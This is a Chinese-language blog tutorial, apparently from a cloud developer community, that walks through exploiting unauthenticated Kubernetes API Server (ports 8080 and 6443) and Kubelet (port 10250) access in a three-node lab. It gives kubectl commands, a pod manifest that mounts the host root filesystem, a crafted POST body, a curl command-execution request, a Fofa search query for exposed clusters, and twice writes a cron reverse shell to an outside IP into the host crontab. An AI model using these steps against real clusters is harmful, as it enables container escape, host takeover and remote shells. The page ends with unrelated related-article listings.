云上攻防-云原生篇&K8s安全-Kubelet未授权访问、API Server未授权访问

简介: 本文介绍了云原生环境下Kubernetes集群的安全问题及攻击方法。首先概述了云环境下的新型攻击路径,如通过虚拟机攻击云管理平台、容器逃逸控制宿主机等。接着详细解释了Kubernetes集群架构,并列举了常见组件的默认端口及其安全隐患。文章通过具体案例演示了API Server 8080和6443端口未授权访问的攻击过程,以及Kubelet 10250端口未授权访问的利用方法,展示了如何通过这些漏洞实现权限提升和横向渗透。

前言

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

  1. 通过虚拟机攻击云管理平台,利用管理平台控制所有机器
  2. 通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
  3. 利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。

K8S集群架构解释

通俗来说,Kubernetes 是一个开源平台,用于管理多台主机上的 Docker 容器。它提供了自动化部署、伸缩和操作容器化应用的功能,使得管理大规模的容器集群变得更加高效和便捷。

常见的kubernetes集群结果如下图所示

K8S集群攻击点

下图为深信服梳理的 K8S 集群架构下可能存在的安全问题

通过各个组件存在隐患的默认端口可大概判断目标主机是否在集群内

组件名称

默认端口

api server

8080/6443

dashboard

8001

kubelet

10250/10255

etcd

2379

kube-proxy

8001

docker

2375

kube-scheduler

10251

kube-controller-manager

10252

本地搭建环境测试

本次搭建采用centos7搭建集群共三个节点,包含一个主节点,两个工作子节点:

搭建过程可参考我另一篇文章:Centos7 搭建 kubernetes集群

节点

角色

IP

hostname

Node1

Master

192.168.0.25

master-1

Node2

Woker

192.168.0.30

node1

Node3

Woker

192.168.0.31

node2

演示案例-云原生-K8s安全-API Server 8080端口未授权访问

攻击8080端口:API Server(Master)未授权访问

旧版本的k8s的API Server默认会开启两个端口:8080和6443。

6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,

仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)

新版本k8s默认已经不开启8080。需要更改相应的配置,我这里低版本直接可以访问

修改完配置重启服务器即可访问

systemctl restart kubelet

看见如图示内容变存在未授权

这里我们通过官方管理工具来进一步利用

kubectl官方工具下载地址:https://kubernetes.io/zh-cn/docs/tasks/tools/

#获取所有容器的node节点
kubectl.exe -s 192.168.0.25:8080 get nodes
#获取所有容器pods节点
kubectl.exe -s 192.168.0.25:8080 get pods

能正常获取便可进行下一步

这个时候我们创建一个yaml文件,通过我们的api server未授权创建一个yaml文件创建一个pods节点

文件名与后面对应上即可我这里叫test.ymal

这里我们着重注意三个点

  • name此为我们后创建容器的名称
  • image为我们选择的镜像
  • mountpath为我们宿主机挂载到容器的位置
apiVersion: v1
kind: Pod
metadata:
  name: koube
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /
#创建容器
kubectl.exe -s 192.168.0.25:8080 create -f test.yaml
#进入容器shell
kubectl.exe -s 192.168.0.25:8080 --namespace=default exec -it test bash
#写入定时任务反弹shell
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.0.8/4444 0>&1\n" >> /mnt/etc/crontab

这个时候可以看到我们在容器逃逸到了node2真机上,原因皆在我们挂载了mnt目录,如有不理解的同学可以往上看上一篇的帖子补补docker逃逸的知识点

Fofa语法:port="8080" && app="Kubernetes"

演示案例-云原生-K8s安全-API Server 6443端口未授权访问

6443端口是默认开启的

以下便是不存在未授权

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

为未经身份验证的用户(匿名用户)授予集群管理员的权限,这意味着任何未通过身份验证访问集群的用户都将拥有对集群进行几乎任何操作的权限。这在某些特定的测试或开发环境中可能有用,但在生产环境中通常是不安全的,所以感觉头上有包的运维才会真这么干,但既然有这个知识点还是复现一下吧

存在未授权的页面

创建恶意pods

接口为地址为:https://192.168.0.25:6443/api/v1/namespaces/default/pods/

向接口发送而已post请求包,意在创建一个名为lili的容器

{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"lili\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"lili\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"lili","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

连接判断pods

kubectl --insecure-skip-tls-verify -s https://192.168.0.25:6443 get pods

##insecure-skip-tls-verify 是 Kubernetes 客户端 kubectl 的一个命令行选项,当与 kubectl 命令一起使用时,它会告诉 kubectl 跳过对 Kubernetes API 服务器证书的验证。

连接执行pods

kubectl --insecure-skip-tls-verify -s https://192.168.0.25:6443 --namespace=default exec -it lili bash

这里post包构造挂载目录为host,继续执行反弹shell

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.0.8/4444 0>&1\n" >> /host/etc/crontab

成功上线

演示案例-云原生-K8s安全-Kubelet(node)10250端口未授权访问

不存在未授权

利用执行命令这里需要三个参数

namespace:default
pod:test03
container:test03

执行容器命令:

curl -XPOST -k "https://192.168.0.31:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
相关实践学习
深入解析Docker容器化技术
Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。Docker是世界领先的软件容器平台。开发人员利用Docker可以消除协作编码时“在我的机器上可正常工作”的问题。运维人员利用Docker可以在隔离容器中并行运行和管理应用,获得更好的计算密度。企业利用Docker可以构建敏捷的软件交付管道,以更快的速度、更高的安全性和可靠的信誉为Linux和Windows Server应用发布新功能。 在本套课程中,我们将全面的讲解Docker技术栈,从环境安装到容器、镜像操作以及生产环境如何部署开发的微服务应用。本课程由黑马程序员提供。 &nbsp; &nbsp; 相关的阿里云产品:容器服务 ACK 容器服务 Kubernetes 版(简称 ACK)提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。 了解产品详情: https://www.aliyun.com/product/kubernetes
相关文章
|
9月前
|
JSON 安全 API
商城API接口:上货安全与实战指南
商城上货API接口在电商运营中扮演着核心角色,本文从功能、类型、安全性及实战案例多角度剖析其应用价值。主要功能涵盖商品信息管理(如发布、图片上传、类目设置)、库存与价格管理、订单处理、物流信息管理、用户信息管理及销售数据分析等。API类型包括RESTful、SOAP、JSON和XML等,其中RESTful和JSON因高效简洁而广泛应用。安全性方面,通过身份验证、授权及数据加密等措施保障接口安全,确保数据传输的可靠性。这些内容为开发者优化商城运营提供了重要指导。
151 1
|
5月前
|
存储 监控 安全
132_API部署:FastAPI与现代安全架构深度解析与LLM服务化最佳实践
在大语言模型(LLM)部署的最后一公里,API接口的设计与安全性直接决定了模型服务的可用性、稳定性与用户信任度。随着2025年LLM应用的爆炸式增长,如何构建高性能、高安全性的REST API成为开发者面临的核心挑战。FastAPI作为Python生态中最受青睐的Web框架之一,凭借其卓越的性能、强大的类型安全支持和完善的文档生成能力,已成为LLM服务化部署的首选方案。
|
7月前
|
安全 算法 API
银行卡三要素API实践指南:实现交易安全闭环
在数字化金融时代,身份真实性成为安全防线关键。银行卡三要素核验通过验证卡号、姓名与身份证一致性,提升身份识别准确率,广泛应用于金融、支付等领域。本文详解其技术原理、架构设计与工程实践,助力构建安全合规的身份认证体系。
640 1
|
9月前
|
存储 安全 API
区块链技术:为电商API接口应用前景筑牢安全与效率之基
区块链技术凭借其去中心化、透明性、安全性和不可篡改性,为电商API接口带来了全新机遇。它可提升数据安全性、增强交易透明度、优化供应链管理,并降低运营成本。应用场景包括数据加密传输、分布式存储、智能合约权限管理、商品溯源防伪及实时结算。尽管面临性能、隐私保护与监管等挑战,随着技术进步与融合创新,区块链将在电商API中实现更智能、高效的应用,推动行业变革升级。
|
9月前
|
安全 数据挖掘 API
“电商API支付接口:安全快捷,提升结账转化”
电商API支付接口通过标准化集成提升结账效率,减少用户流失。其优势包括无需跳转的快捷支付、tokenization技术保障安全及动态货币转换降低国际客户疑虑。一键支付功能显著减少弃单率,且支持多种支付方式。风控方面,3DS2.0验证与行为分析确保交易安全,同时保持高支付成功率。技术实施建议采用RESTful API优化响应速度,并通过标准化错误代码和完整日志系统提升稳定性。数据分析可细分支付成功率,借助A/B测试优化结账体验,实时更新订单状态以完善履约流程。
323 0
|
5月前
|
人工智能 算法 调度
阿里云ACK托管集群Pro版共享GPU调度操作指南
本文介绍在阿里云ACK托管集群Pro版中,如何通过共享GPU调度实现显存与算力的精细化分配,涵盖前提条件、使用限制、节点池配置及任务部署全流程,提升GPU资源利用率,适用于AI训练与推理场景。
477 1
|
5月前
|
弹性计算 监控 调度
ACK One 注册集群云端节点池升级:IDC 集群一键接入云端 GPU 算力,接入效率提升 80%
ACK One注册集群节点池实现“一键接入”,免去手动编写脚本与GPU驱动安装,支持自动扩缩容与多场景调度,大幅提升K8s集群管理效率。
332 89
|
10月前
|
资源调度 Kubernetes 调度
从单集群到多集群的快速无损转型:ACK One 多集群应用分发
ACK One 的多集群应用分发,可以最小成本地结合您已有的单集群 CD 系统,无需对原先应用资源 YAML 进行修改,即可快速构建成多集群的 CD 系统,并同时获得强大的多集群资源调度和分发的能力。
582 9
|
10月前
|
资源调度 Kubernetes 调度
从单集群到多集群的快速无损转型:ACK One 多集群应用分发
本文介绍如何利用阿里云的分布式云容器平台ACK One的多集群应用分发功能,结合云效CD能力,快速将单集群CD系统升级为多集群CD系统。通过增加分发策略(PropagationPolicy)和差异化策略(OverridePolicy),并修改单集群kubeconfig为舰队kubeconfig,可实现无损改造。该方案具备多地域多集群智能资源调度、重调度及故障迁移等能力,帮助用户提升业务效率与可靠性。
|
12月前
|
存储 Kubernetes 监控
K8s集群实战:使用kubeadm和kuboard部署Kubernetes集群
总之,使用kubeadm和kuboard部署K8s集群就像回归童年一样,简单又有趣。不要忘记,技术是为人服务的,用K8s集群操控云端资源,我们不过是想在复杂的世界找寻简单。尽管部署过程可能遇到困难,但朝着简化复杂的目标,我们就能找到意义和乐趣。希望你也能利用这些工具,找到你的乐趣,满足你的需求。
1045 33